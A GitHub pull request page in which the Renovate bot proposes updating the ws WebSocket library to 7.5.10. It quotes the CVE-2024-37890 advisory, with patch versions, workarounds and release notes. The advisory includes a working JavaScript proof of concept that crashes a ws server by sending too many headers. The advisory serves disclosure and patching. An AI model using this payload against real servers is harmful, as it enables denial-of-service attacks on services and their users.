fix(deps): update dependency ws to v7.5.10 [security] - autoclosed #429

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Closed

renovate wants to merge 1 commit into master from renovate/npm-ws-vulnerability

Closed

fix(deps): update dependency ws to v7.5.10 [security] - autoclosed #429

renovate wants to merge 1 commit into master from renovate/npm-ws-vulnerability

Conversation

@renovate

Copy link

@renovate renovate bot commented Jun 18, 2024 •

edited

Loading

Mend Renovate

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	`7.4.6` -> `7.5.10`	age	adoption	passing	confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
 const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
 const headers = {};
 let count = 0;
 for (let i = 0; i < chars.length; i++) {
 if (count === 2000) break;
 for (let j = 0; j < chars.length; j++) {
 const key = chars[i] + chars[j];
 headers[key] = 'x';
 if (++count === 2000) break;
 }
 }
 headers.Connection = 'Upgrade';
 headers.Upgrade = 'websocket';
 headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
 headers['Sec-WebSocket-Version'] = '13';
 const request = http.request({
 headers: headers,
 host: '127.0.0.1',
 port: wss.address().port
 });
 request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Release Notes

websockets/ws (ws)

`v7.5.10`

Compare Source

Bug fixes

Backported e55e510 to the 7.x release line (22c2876).

`v7.5.9`

Compare Source

Bug fixes

Backported bc8bd34 to the 7.x release line (0435e6e).

`v7.5.8`

Compare Source

Bug fixes

Backported 0fdcc0a to the 7.x release line (2758ed3).
Backported d68ba9e to the 7.x release line (dc1781b).

`v7.5.7`

Compare Source

Bug fixes

Backported 6946f5f to the 7.x release line (1f72e2e).

`v7.5.6`

Compare Source

Bug fixes

Backported b8186dd to the 7.x release line (73dec34).
Backported ed2b803 to the 7.x release line (22a26af).

`v7.5.5`

Compare Source

Bug fixes

Backported ec9377c to the 7.x release line (0e274ac).

`v7.5.4`

Compare Source

Bug fixes

Backported 6a72da3 to the 7.x release line (76087fb).
Backported 869c989 to the 7.x release line (2799793).

`v7.5.3`

Compare Source

Bug fixes

The WebSocketServer constructor now throws an error if more than one of the
noServer, server, and port options are specefied (66e58d2).
Fixed a bug where a 'close' event was emitted by a WebSocketServer before
the internal HTTP/S server was actually closed (5a58730).
Fixed a bug that allowed WebSocket connections to be established after
WebSocketServer.prototype.close() was called (772236a).

`v7.5.2`

Compare Source

Bug fixes

The opening handshake is now aborted if the client receives a
Sec-WebSocket-Extensions header but no extension was requested or if the
server indicates an extension not requested by the client (aca94c8).

`v7.5.1`

Compare Source

Bug fixes

Fixed an issue that prevented the connection from being closed properly if an
error occurred simultaneously on both peers (b434b9f).

`v7.5.0`

Compare Source

Features

Some errors now have a code property describing the specific type of error
that has occurred (#1901).

Bug fixes

A close frame is now sent to the remote peer if an error (such as a data
framing error) occurs (8806aa9).
The close code is now always 1006 if no close frame is received, even if the
connection is closed due to an error (8806aa9).

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate


 fix(deps): update dependency ws to v7.5.10 [security]

b445c98

@renovate renovate bot changed the title ~~(削除) fix(deps): update dependency ws to v7.5.10 [security] (削除ここまで)~~ (追記) fix(deps): update dependency ws to v7.5.10 [security] - autoclosed (追記ここまで)

Aug 6, 2024

@renovate renovate bot closed this

Aug 6, 2024

@renovate renovate bot deleted the renovate/npm-ws-vulnerability branch

August 6, 2024 09:33

Uh oh!

fix(deps): update dependency ws to v7.5.10 [security] - autoclosed #429

fix(deps): update dependency ws to v7.5.10 [security] - autoclosed #429

Uh oh!

Conversation

@renovate renovate bot commented Jun 18, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

Impact

Proof of concept

Patches

Workarounds

Credits

References

Release Notes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Bug fixes

Features

Bug fixes

Configuration

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

@renovate renovate bot commented Jun 18, 2024 •

edited

Loading